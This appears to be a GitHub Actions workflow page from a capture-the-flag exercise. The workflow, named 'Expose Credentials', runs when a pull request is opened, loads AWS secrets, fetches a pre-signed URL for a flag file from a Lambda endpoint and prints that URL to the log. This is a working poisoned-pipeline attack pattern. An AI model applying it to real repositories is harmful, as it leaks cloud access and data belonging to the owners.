Update README.md #5
Workflow file for this run
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
name: Expose Credentials | |
on: | |
pull_request: | |
types: [opened] | |
jobs: | |
expose-creds: | |
runs-on: ubuntu-latest | |
steps: | |
- name: Checkout code | |
uses: actions/checkout@v3 | |
- name: Configure AWS credentials | |
uses: aws-actions/configure-aws-credentials@v3 | |
with: | |
aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }} | |
aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }} | |
aws-region: us-east-2 | |
- name: Generate Pre-signed URL | |
id: presigned-url | |
run: | | |
presigned_url=$(curl -X POST \ | |
-H "Content-Type: application/json" \ | |
-d '{"file_name":"flag1.txt","storage":"poisonous-flag"}' \ | |
https://bpi345cblz2xputo5mhbwi3ycu0asyav.lambda-url.us-east-2.on.aws/) | |
echo "::set-output name=url::$presigned_url" | |
- name: Expose Credentials | |
run: | | |
echo "You can access the file at ${{ steps.presigned-url.outputs.url }}" |